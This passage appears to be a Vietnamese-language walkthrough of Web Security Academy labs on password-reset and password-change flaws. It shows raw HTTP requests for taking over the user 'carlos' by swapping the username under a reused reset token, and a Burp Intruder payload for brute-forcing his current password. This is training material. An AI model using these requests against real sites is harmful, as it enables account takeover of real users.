When the user visits this URL, the system should check whether this token exists on the back-end and, if so, which user's password it is supposed to reset. This token should expire after a short period of time and be destroyed immediately after the password has been reset.
Nếu không, kẻ tấn công có thể gửi request để reset password với invalid token hoặc không có token nhằm reset password của nạn nhân.
Lab: Password Reset Broken Logic
Request dùng để reset password:
POST /forgot-password HTTP/2
Host: 0a1a00e404b1a5a68107ac0000ff0030.web-security-academy.net
Cookie: session=4ohuEJuWjjnUjP9aULM1NwrVlEyDP3HR
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Origin: https://0a1a00e404b1a5a68107ac0000ff0030.web-security-academy.net
Referer: https://0a1a00e404b1a5a68107ac0000ff0030.web-security-academy.net/forgot-password
username=wiener
URL nhận được trong mail là:
https://0a1a00e404b1a5a68107ac0000ff0030.web-security-academy.net/forgot-password?temp-forgot-password-token=e8upsu9k5bwj9j4aef8o8lwerc4ha0ar
Request cập nhật password mới:
POST /forgot-password?temp-forgot-password-token=e8upsu9k5bwj9j4aef8o8lwerc4ha0ar HTTP/2
Host: 0a1a00e404b1a5a68107ac0000ff0030.web-security-academy.net
Cookie: session=4ohuEJuWjjnUjP9aULM1NwrVlEyDP3HR
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 113
Origin: https://0a1a00e404b1a5a68107ac0000ff0030.web-security-academy.net
Referer: https://0a1a00e404b1a5a68107ac0000ff0030.web-security-academy.net/forgot-password?temp-forgot-password-token=e8upsu9k5bwj9j4aef8o8lwerc4ha0ar
temp-forgot-password-token=e8upsu9k5bwj9j4aef8o8lwerc4ha0ar&username=wiener&new-password-1=123&new-password-2=123
Ta chỉ việc thay username
thành carlos
là có thể reset được password của carlos
(không đổi token).
Đăng nhập để hoàn thành lab.
Changing User Passwords
Cách khai thác tính năng đổi password:
Password change functionality can be particularly dangerous if it allows an attacker to access it directly without being logged in as the victim user. For example, if the username is provided in a hidden field, an attacker might be able to edit this value in the request to target arbitrary users. This can potentially be exploited to enumerate usernames and brute-force passwords.
Lab: Password Brute-force via Password Change
Request đổi password:
POST /my-account/change-password HTTP/2
Host: 0af000ce039a6c5e80d94ed400660047.web-security-academy.net
Cookie: session=4bfCLBqBJ7ES6V1Y52a1DrvIiiIKsUzw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
Origin: https://0af000ce039a6c5e80d94ed400660047.web-security-academy.net
Referer: https://0af000ce039a6c5e80d94ed400660047.web-security-academy.net/my-account?id=wiener
username=wiener¤t-password=peter&new-password-1=123&new-password-2=123
Nếu sai current-password
thì sẽ cần phải đăng nhập lại do response là một server-side redirect có dạng như sau:
HTTP/2 302 Found
Location: /login
Set-Cookie: session=sIlnYNzn1tw5fEVPf1blXzFObVC6sPZN; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Ta tạo ra macro để tự động hóa việc đăng nhập lại và sử dụng payload sau trong Intruder:
username=carlos¤t-password={payload}&new-password-1=123&new-password-2=123
Với payload list là Authentication lab passwords | Web Security Academy, tìm được một response có status code là 200 cùng dòng thông báo Password changed successfully!
. Payload của response này là superman
.
Đăng nhập bằng tài khoản carlos:123
để hoàn thành lab.